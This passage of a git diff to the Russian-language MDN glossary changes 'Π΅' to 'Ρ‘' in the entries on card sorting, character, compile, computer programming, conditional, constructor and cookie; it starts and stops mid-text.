Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, для опрСдСлСния Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ Π΄ΠΎΠ»ΠΆΠ½ΠΎ ΠΈΠ΄Ρ‚ΠΈ Π½Π° ΠΊΠ°ΠΆΠ΄ΠΎΠΉ страницС Π²Π΅Π±-сайта. НазваниС происходит ΠΎΡ‚Β Ρ‚ΠΎΠ³ΠΎ Ρ„Π°ΠΊΡ‚Π°, Ρ‡Ρ‚ΠΎ сортировка ΠΊΠ°Ρ€Ρ‚ΠΎΡ‡Π΅ΠΊ часто осущСствляСтся ΠΏΡƒΡ‚Π΅ΠΌ Π±ΡƒΠΊΠ²Π°Π»ΡŒΠ½ΠΎΠ³ΠΎ написания ΠΏΡ€Π΅Π΄ΠΌΠ΅Ρ‚ΠΎΠ² для сортировки Π½Π° ΠΊΠ°Ρ€Ρ‚ΠΎΡ‡ΠΊΠ°Ρ…, Π° Π·Π°Ρ‚Π΅ΠΌ размСщСния ΠΊΠ°Ρ€Ρ‚ΠΎΡ‡Π΅ΠΊ Π² стопки.</p>
+<p>Π‘ΠΎΡ€Ρ‚ΠΈΡ€ΠΎΠ²ΠΊΠ° ΠΊΠ°Ρ€Ρ‚ΠΎΡ‡Π΅ΠΊ - это простая Ρ‚Π΅Ρ…Π½ΠΈΠΊΠ°, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΠ°Ρ Π² ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΎΠ½Π½ΠΎΠΉ Π°Ρ€Ρ…ΠΈΡ‚Π΅ΠΊΡ‚ΡƒΡ€Π΅, когда людям, ΡƒΡ‡Π°ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΌ Π² Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠ΅ Π²Π΅Π±-сайта (ΠΈΠ»ΠΈ Π΄Ρ€ΡƒΠ³ΠΎΠ³ΠΎ Ρ‚ΠΈΠΏΠ° ΠΏΡ€ΠΎΠ΄ΡƒΠΊΡ‚Π°), прСдлагаСтся Π·Π°ΠΏΠΈΡΠ°Ρ‚ΡŒ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ / услуги / Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅, ΠΏΠΎ ΠΈΡ… мнСнию, Π΄ΠΎΠ»ΠΆΠ΅Π½ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ ΠΏΡ€ΠΎΠ΄ΡƒΠΊΡ‚, Π° Π·Π°Ρ‚Π΅ΠΌ ΠΎΡ€Π³Π°Π½ΠΈΠ·ΠΎΠ²Π°Ρ‚ΡŒ эти Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ Π² ΠΊΠ°Ρ‚Π΅Π³ΠΎΡ€ΠΈΠΈ ΠΈΠ»ΠΈ Π³Ρ€ΡƒΠΏΠΏΠΈΡ€ΠΎΠ²ΠΊΠΈ. Π­Ρ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ использовано, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, для опрСдСлСния Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ Π΄ΠΎΠ»ΠΆΠ½ΠΎ ΠΈΠ΄Ρ‚ΠΈ Π½Π° ΠΊΠ°ΠΆΠ΄ΠΎΠΉ страницС Π²Π΅Π±-сайта. НазваниС происходит ΠΎΡ‚Β Ρ‚ΠΎΠ³ΠΎ Ρ„Π°ΠΊΡ‚Π°, Ρ‡Ρ‚ΠΎ сортировка ΠΊΠ°Ρ€Ρ‚ΠΎΡ‡Π΅ΠΊ часто осущСствляСтся ΠΏΡƒΡ‚Ρ‘ΠΌ Π±ΡƒΠΊΠ²Π°Π»ΡŒΠ½ΠΎΠ³ΠΎ написания ΠΏΡ€Π΅Π΄ΠΌΠ΅Ρ‚ΠΎΠ² для сортировки Π½Π° ΠΊΠ°Ρ€Ρ‚ΠΎΡ‡ΠΊΠ°Ρ…, Π° Π·Π°Ρ‚Π΅ΠΌ размСщСния ΠΊΠ°Ρ€Ρ‚ΠΎΡ‡Π΅ΠΊ Π² стопки.</p>
<h2 id="Π£Π·Π½Π°Ρ‚ΡŒ_большС">Π£Π·Π½Π°Ρ‚ΡŒ большС </h2>
diff --git a/files/ru/glossary/character/index.html b/files/ru/glossary/character/index.html
index f1eccc719e..f43b9d4654 100644
--- a/files/ru/glossary/character/index.html
+++ b/files/ru/glossary/character/index.html
@@ -6,7 +6,7 @@ tags:
translation_of: Glossary/Character
original_slug: Π‘Π»ΠΎΠ²Π°Ρ€ΡŒ/Character
---
-<p><strong>Π‘ΠΈΠΌΠ²ΠΎΠ»</strong> (Π°Π½Π³Π». <strong>Character</strong> ΠΈΠ»ΠΈ <strong>Symbol</strong>) -Β Π±ΡƒΠΊΠ²Π°, Ρ†ΠΈΡ„Ρ€Π°, Π·Π½Π°ΠΊ прСпинания, Π½Π΅ΠΏΠ΅Ρ‡Π°Ρ‚Π°Π΅ΠΌΡ‹ΠΉ символ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Π²ΠΎΠ·Π²Ρ€Π°Ρ‚ ΠΊΠ°Ρ€Π΅Ρ‚ΠΊΠΈ). Β {{glossary("UTF-8")}} - самый распространСнный стандарт ΠΊΠΎΠ΄ΠΈΡ€ΠΎΠ²ΠΊΠΈ символов, содСрТащий большоС количСство Π³Ρ€Π°Ρ„Π΅ΠΌ популярных языков людСй.</p>
+<p><strong>Π‘ΠΈΠΌΠ²ΠΎΠ»</strong> (Π°Π½Π³Π». <strong>Character</strong> ΠΈΠ»ΠΈ <strong>Symbol</strong>) -Β Π±ΡƒΠΊΠ²Π°, Ρ†ΠΈΡ„Ρ€Π°, Π·Π½Π°ΠΊ прСпинания, Π½Π΅ΠΏΠ΅Ρ‡Π°Ρ‚Π°Π΅ΠΌΡ‹ΠΉ символ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Π²ΠΎΠ·Π²Ρ€Π°Ρ‚ ΠΊΠ°Ρ€Π΅Ρ‚ΠΊΠΈ). Β {{glossary("UTF-8")}} - самый распространённый стандарт ΠΊΠΎΠ΄ΠΈΡ€ΠΎΠ²ΠΊΠΈ символов, содСрТащий большоС количСство Π³Ρ€Π°Ρ„Π΅ΠΌ популярных языков людСй.</p>
<h2 id="Π£Π·Π½Π°ΠΉΡ‚Π΅_большС">Π£Π·Π½Π°ΠΉΡ‚Π΅ большС</h2>
diff --git a/files/ru/glossary/compile/index.html b/files/ru/glossary/compile/index.html
index bb2348800c..3d6c233da8 100644
--- a/files/ru/glossary/compile/index.html
+++ b/files/ru/glossary/compile/index.html
@@ -11,7 +11,7 @@ original_slug: Π‘Π»ΠΎΠ²Π°Ρ€ΡŒ/Compile
<p>ΠžΠ±Ρ‹Ρ‡Π½ΠΎ компилятор ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΡƒΠ΅Ρ‚ язык Π±ΠΎΠ»Π΅Π΅ высокого уровня, Ρ‚Π°ΠΊΠΎΠΉ ΠΊΠ°ΠΊ C ΠΈΠ»ΠΈ <a href="ru/Π‘Π»ΠΎΠ²Π°Ρ€ΡŒ/Java">Java</a> ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΏΠΎΠ½ΠΈΠΌΠ°Π΅Ρ‚ Ρ‡Π΅Π»ΠΎΠ²Π΅ΠΊ, Π² ΠΌΠ°ΡˆΠΈΠ½Π½Ρ‹ΠΉ язык, Ρ‚Π°ΠΊΠΎΠΉ ΠΊΠ°ΠΊ ассСмблСр, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΏΠΎΠ½ΠΈΠΌΠ°Π΅Ρ‚ процСссор. НСкоторыС компиляторы, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ пСрСводят ΠΌΠ΅ΠΆΠ΄Ρƒ языками схоТСго уровня, Π½Π°Π·Ρ‹Π²Π°ΡŽΡ‚ΡΡ транспайлСрами ΠΈΠ»ΠΈ кросс-компиляторами, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, для компиляции с TypeScript Π½Π° <a href="ru/Π‘Π»ΠΎΠ²Π°Ρ€ΡŒ/JavaScript">JavaScript</a>. Они ΡΡ‡ΠΈΡ‚Π°ΡŽΡ‚ΡΡ инструмСнтами ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ.</p>
<p>Π‘ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²ΠΎ компиляторов Ρ€Π°Π±ΠΎΡ‚Π°ΡŽΡ‚ Π»ΠΈΠ±ΠΎ ΠΏΠ΅Ρ€Π΅Π΄ исполнСниСм (AOT), Π»ΠΈΠ±ΠΎ Π²ΠΎ врСмя исполнСния (JIT). Как программист, Π²Ρ‹ ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ Π²Ρ‹Π·Ρ‹Π²Π°Π΅Ρ‚Π΅ AOT-компиляторы ΠΈΠ· ΠΊΠΎΠΌΠ°Π½Π΄Π½ΠΎΠΉ строки ΠΈΠ»ΠΈ ΠΈΠ· {{Glossary("IDE")}}. Π‘Π°ΠΌΡ‹ΠΉ извСстный "gcc" - это ΠΎΠ΄ΠΈΠ½ ΠΈΠ· ΠΏΡ€ΠΈΠΌΠ΅Ρ€ΠΎΠ².<br>
- JIT компиляторы ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ ΠΏΡ€ΠΎΠ·Ρ€Π°Ρ‡Π½Ρ‹ для Вас ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ для ΠΏΠΎΠ²Ρ‹ΡˆΠ΅Π½ΠΈΡ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ. НапримСр, Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅: Firefox' <a href="/ru/SpiderMonkey">SpiderMonkey</a> JavaScript Engine ΠΈΠΌΠ΅Π΅Ρ‚ встроСнный JIT, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ скомпилируСт JavaScript Π½Π° сайтС Π² ΠΌΠ°ΡˆΠΈΠ½Π½Ρ‹ΠΉ ΠΊΠΎΠ΄, ΠΏΠΎΠΊΠ° Π’Ρ‹ Π΅Π³ΠΎ просматриваСтС, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ½ Ρ€Π°Π±ΠΎΡ‚Π°Π» быстрСС. Π’Π°ΠΊΠΈΠ΅ ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Ρ‹, ΠΊΠ°ΠΊ <a href="/ru/WebAssembly">WebAssembly</a>, Ρ€Π°Π±ΠΎΡ‚Π°ΡŽΡ‚ Π½Π°Π΄ Ρ‚Π΅ΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ это Π΅Ρ‰Π΅ Π»ΡƒΡ‡ΡˆΠ΅.</p>
+ JIT компиляторы ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ ΠΏΡ€ΠΎΠ·Ρ€Π°Ρ‡Π½Ρ‹ для Вас ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ для ΠΏΠΎΠ²Ρ‹ΡˆΠ΅Π½ΠΈΡ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ. НапримСр, Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅: Firefox' <a href="/ru/SpiderMonkey">SpiderMonkey</a> JavaScript Engine ΠΈΠΌΠ΅Π΅Ρ‚ встроСнный JIT, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ скомпилируСт JavaScript Π½Π° сайтС Π² ΠΌΠ°ΡˆΠΈΠ½Π½Ρ‹ΠΉ ΠΊΠΎΠ΄, ΠΏΠΎΠΊΠ° Π’Ρ‹ Π΅Π³ΠΎ просматриваСтС, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ½ Ρ€Π°Π±ΠΎΡ‚Π°Π» быстрСС. Π’Π°ΠΊΠΈΠ΅ ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Ρ‹, ΠΊΠ°ΠΊ <a href="/ru/WebAssembly">WebAssembly</a>, Ρ€Π°Π±ΠΎΡ‚Π°ΡŽΡ‚ Π½Π°Π΄ Ρ‚Π΅ΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ это Π΅Ρ‰Ρ‘ Π»ΡƒΡ‡ΡˆΠ΅.</p>
<h2 id="Π‘ΠΌ._Ρ‚Π°ΠΊΠΆΠ΅">Π‘ΠΌ. Ρ‚Π°ΠΊΠΆΠ΅</h2>
diff --git a/files/ru/glossary/computer_programming/index.html b/files/ru/glossary/computer_programming/index.html
index cbf13c7f8a..cb93b1adf8 100644
--- a/files/ru/glossary/computer_programming/index.html
+++ b/files/ru/glossary/computer_programming/index.html
@@ -13,7 +13,7 @@ original_slug: Π‘Π»ΠΎΠ²Π°Ρ€ΡŒ/Computer_Programming
---
<p>ΠšΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π½ΠΎΠ΅ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ - это процСсс составлСния ΠΈ ΠΎΡ€Π³Π°Π½ΠΈΠ·Π°Ρ†ΠΈΠΈ Π½Π°Π±ΠΎΡ€Π° инструкций. Они говорят ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π½ΠΎΠΉ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ΅, Ρ‡Ρ‚ΠΎ Π΄Π΅Π»Π°Ρ‚ΡŒ Π½Π° языкС, понятном ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Ρƒ. Π­Ρ‚ΠΈ инструкции прСдставлСны Π² Π²ΠΈΠ΄Π΅ мноТСства Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… языков, Ρ‚Π°ΠΊΠΈΡ… ΠΊΠ°ΠΊ C++, Java, JavaScript, HTML, Python, Ruby ΠΈ Rust.</p>
-<p>Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΉ язык, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ / ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ всС Π²ΠΈΠ΄Ρ‹ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½ΠΎΠ³ΠΎ обСспСчСния. НапримСр, ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡƒ, которая ΠΏΠΎΠΌΠΎΠ³Π°Π΅Ρ‚ ΡƒΡ‡Π΅Π½Ρ‹ΠΌ со слоТными вычислСниями, Π±Π°Π·Ρƒ Π΄Π°Π½Π½Ρ‹Ρ…, которая Ρ…Ρ€Π°Π½ΠΈΡ‚ ΠΎΠ³Ρ€ΠΎΠΌΠ½Ρ‹Π΅ ΠΎΠ±ΡŠΠ΅ΠΌΡ‹ Π΄Π°Π½Π½Ρ‹Ρ…, Π²Π΅Π±-сайт, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ позволяСт людям Π·Π°Π³Ρ€ΡƒΠΆΠ°Ρ‚ΡŒ ΠΌΡƒΠ·Ρ‹ΠΊΡƒ, ΠΈΠ»ΠΈ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΎΠ½Π½ΠΎΠ΅ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½ΠΎΠ΅ обСспСчСниС, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ позволяСт людям ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ Π°Π½ΠΈΠΌΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹Π΅ Ρ„ΠΈΠ»ΡŒΠΌΡ‹.</p>
+<p>Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΉ язык, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ / ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ всС Π²ΠΈΠ΄Ρ‹ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½ΠΎΠ³ΠΎ обСспСчСния. НапримСр, ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡƒ, которая ΠΏΠΎΠΌΠΎΠ³Π°Π΅Ρ‚ ΡƒΡ‡Ρ‘Π½Ρ‹ΠΌ со слоТными вычислСниями, Π±Π°Π·Ρƒ Π΄Π°Π½Π½Ρ‹Ρ…, которая Ρ…Ρ€Π°Π½ΠΈΡ‚ ΠΎΠ³Ρ€ΠΎΠΌΠ½Ρ‹Π΅ ΠΎΠ±ΡŠΡ‘ΠΌΡ‹ Π΄Π°Π½Π½Ρ‹Ρ…, Π²Π΅Π±-сайт, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ позволяСт людям Π·Π°Π³Ρ€ΡƒΠΆΠ°Ρ‚ΡŒ ΠΌΡƒΠ·Ρ‹ΠΊΡƒ, ΠΈΠ»ΠΈ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΎΠ½Π½ΠΎΠ΅ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½ΠΎΠ΅ обСспСчСниС, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ позволяСт людям ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ Π°Π½ΠΈΠΌΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹Π΅ Ρ„ΠΈΠ»ΡŒΠΌΡ‹.</p>
<h2 id="Π£Π·Π½Π°Ρ‚ΡŒ_большС">Π£Π·Π½Π°Ρ‚ΡŒ большС</h2>
diff --git a/files/ru/glossary/conditional/index.html b/files/ru/glossary/conditional/index.html
index 4a34f7545c..38c641e0a0 100644
--- a/files/ru/glossary/conditional/index.html
+++ b/files/ru/glossary/conditional/index.html
@@ -12,7 +12,7 @@ original_slug: Π‘Π»ΠΎΠ²Π°Ρ€ΡŒ/Conditional
---
<p><span class="seoSummary"><strong>УсловиС</strong> - это Π½Π°Π±ΠΎΡ€ ΠΏΡ€Π°Π²ΠΈΠ», ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠ³ΡƒΡ‚ ΠΏΡ€Π΅Ρ€Ρ‹Π²Π°Ρ‚ΡŒ Π½ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½ΠΎΠ΅ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ ΠΊΠΎΠ΄Π° ΠΈΠ»ΠΈ ΠΈΠ·ΠΌΠ΅Π½ΡΡ‚ΡŒ Π΅Π³ΠΎ Π² зависимости ΠΎΡ‚ Ρ‚ΠΎΠ³ΠΎ, ΡƒΠ΄ΠΎΠ²Π»Π΅Ρ‚Π²ΠΎΡ€Π΅Π½ΠΎ Π»ΠΈ условиС ΠΈΠ»ΠΈ Π½Π΅Ρ‚.</span></p>
-<p><span id="result_box" lang="en">Π˜Π½ΡΡ‚Ρ€ΡƒΠΊΡ†ΠΈΡ ΠΈΠ»ΠΈ Π½Π°Π±ΠΎΡ€ инструкций выполняСтся, Ссли удовлСтворяСтся ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ΅ условиС. Π’ ΠΏΡ€ΠΎΡ‚ΠΈΠ²Π½ΠΎΠΌ случаС выполняСтся другая инструкция. Π’Π°ΠΊΠΆΠ΅ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ ΠΏΠΎΠ²Ρ‚ΠΎΡ€ΠΈΡ‚ΡŒ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ инструкции ΠΈΠ»ΠΈ Π½Π°Π±ΠΎΡ€Π° инструкций, ΠΏΠΎΠΊΠ° условиС Π΅Ρ‰Π΅ Π½Π΅ ΡƒΠ΄ΠΎΠ²Π»Π΅Ρ‚Π²ΠΎΡ€Π΅Π½ΠΎ.</span></p>
+<p><span id="result_box" lang="en">Π˜Π½ΡΡ‚Ρ€ΡƒΠΊΡ†ΠΈΡ ΠΈΠ»ΠΈ Π½Π°Π±ΠΎΡ€ инструкций выполняСтся, Ссли удовлСтворяСтся ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ΅ условиС. Π’ ΠΏΡ€ΠΎΡ‚ΠΈΠ²Π½ΠΎΠΌ случаС выполняСтся другая инструкция. Π’Π°ΠΊΠΆΠ΅ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ ΠΏΠΎΠ²Ρ‚ΠΎΡ€ΠΈΡ‚ΡŒ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ инструкции ΠΈΠ»ΠΈ Π½Π°Π±ΠΎΡ€Π° инструкций, ΠΏΠΎΠΊΠ° условиС Π΅Ρ‰Ρ‘ Π½Π΅ ΡƒΠ΄ΠΎΠ²Π»Π΅Ρ‚Π²ΠΎΡ€Π΅Π½ΠΎ.</span></p>
<h2 id="Π£Π·Π½Π°Ρ‚ΡŒ_большС"><strong>Π£Π·Π½Π°Ρ‚ΡŒ большС</strong></h2>
diff --git a/files/ru/glossary/constructor/index.html b/files/ru/glossary/constructor/index.html
index e8a37f164a..8c5dbe3196 100644
--- a/files/ru/glossary/constructor/index.html
+++ b/files/ru/glossary/constructor/index.html
@@ -6,7 +6,7 @@ tags:
translation_of: Glossary/Constructor
original_slug: Π‘Π»ΠΎΠ²Π°Ρ€ΡŒ/Constructor
---
-<p><strong>ΠšΠΎΠ½ΡΡ‚Ρ€ΡƒΠΊΡ‚ΠΎΡ€</strong>Β ΠΏΡ€ΠΈΠ½Π°Π΄Π»Π΅ΠΆΠΈΡ‚ ΠΊ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠΌΡƒ классу {{glossary("object")}}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ создаСтся. ΠšΠΎΠ½ΡΡ‚Ρ€ΡƒΠΊΡ‚ΠΎΡ€ ΠΈΠ½ΠΈΡ†ΠΈΠ°Π»ΠΈΠ·ΠΈΡ€ΡƒΠ΅Ρ‚ этот ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ ΠΈ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»ΡΡ‚ΡŒ доступ ΠΊ Π΅Π³ΠΎ Π»ΠΈΡ‡Π½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ. ΠšΠΎΠ½Ρ†Π΅ΠΏΡ†ΠΈΡ конструктора ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½Π° ΠΊ Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²Ρƒ {{glossary("OOP","object-oriented programming")}} языков. По сущСству, конструктор Π² {{glossary("JavaScript")}} ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ ΠΎΠ±ΡŠΡΠ²Π»ΡΠ΅Ρ‚ΡΡ Π² экзСмплярС {{glossary("class")}}.</p>
+<p><strong>ΠšΠΎΠ½ΡΡ‚Ρ€ΡƒΠΊΡ‚ΠΎΡ€</strong>Β ΠΏΡ€ΠΈΠ½Π°Π΄Π»Π΅ΠΆΠΈΡ‚ ΠΊ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠΌΡƒ классу {{glossary("object")}}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ создаётся. ΠšΠΎΠ½ΡΡ‚Ρ€ΡƒΠΊΡ‚ΠΎΡ€ ΠΈΠ½ΠΈΡ†ΠΈΠ°Π»ΠΈΠ·ΠΈΡ€ΡƒΠ΅Ρ‚ этот ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ ΠΈ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»ΡΡ‚ΡŒ доступ ΠΊ Π΅Π³ΠΎ Π»ΠΈΡ‡Π½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ. ΠšΠΎΠ½Ρ†Π΅ΠΏΡ†ΠΈΡ конструктора ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½Π° ΠΊ Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²Ρƒ {{glossary("OOP","object-oriented programming")}} языков. По сущСству, конструктор Π² {{glossary("JavaScript")}} ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ ΠΎΠ±ΡŠΡΠ²Π»ΡΠ΅Ρ‚ΡΡ Π² экзСмплярС {{glossary("class")}}.</p>
<h2 id="Бинтаксис">Бинтаксис</h2>
diff --git a/files/ru/glossary/cookie/index.html b/files/ru/glossary/cookie/index.html
index f674f09488..5bfe89f4a9 100644
--- a/files/ru/glossary/cookie/index.html
+++ b/files/ru/glossary/cookie/index.html
@@ -7,9 +7,9 @@ tags:
translation_of: Glossary/Cookie
original_slug: Π‘Π»ΠΎΠ²Π°Ρ€ΡŒ/Cookie
---
-<p><span id="result_box" lang="ru"><span>Cookie - это</span> <span>нСбольшой Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ,</span> <span class="alt-edited">сохранСнный</span> <span>Π½Π°</span> <span class="alt-edited">ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π΅ посСтитСля</span>Β <span>Π²Π΅Π±-сайтом</span> <span>Ρ‡Π΅Ρ€Π΅Π· Π²Π΅Π±-Π±Ρ€Π°ΡƒΠ·Π΅Ρ€</span><span>.</span></span></p>
+<p><span id="result_box" lang="ru"><span>Cookie - это</span> <span>нСбольшой Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ,</span> <span class="alt-edited">сохранённый</span> <span>Π½Π°</span> <span class="alt-edited">ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π΅ посСтитСля</span>Β <span>Π²Π΅Π±-сайтом</span> <span>Ρ‡Π΅Ρ€Π΅Π· Π²Π΅Π±-Π±Ρ€Π°ΡƒΠ·Π΅Ρ€</span><span>.</span></span></p>
-<p><span id="result_box" lang="ru"><span>Π€Π°ΠΉΠ»Ρ‹ Cookie</span> <span>ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ</span> <span class="alt-edited">для пСрсонализации </span> <span class="alt-edited">Ρ€Π°Π±ΠΎΡ‚Ρ‹ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ</span> <span>с Π²Π΅Π±-сайтом</span></span> . <span id="result_box" lang="ru"><span>Они ΠΌΠΎΠ³ΡƒΡ‚Β ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ</span> <span>прСдпочтСния ΠΈΠ»ΠΈ</span> <span class="alt-edited">Π²Π²Π΅Π΄Π΅Π½Π½Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅</span>Β <span>ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ</span> <span>ΠΏΡ€ΠΈ Ρ€Π°Π±ΠΎΡ‚Π΅ с</span>Β <span class="alt-edited">этим вСб сайтом </span></span>. <span id="result_box" lang="ru"><span>ΠŸΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ ΠΌΠΎΠΆΠ΅Ρ‚</span> <span>Π½Π°ΡΡ‚Ρ€ΠΎΠΈΡ‚ΡŒ свой</span> <span class="alt-edited">Π²Π΅Π±-Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ</span><span>, 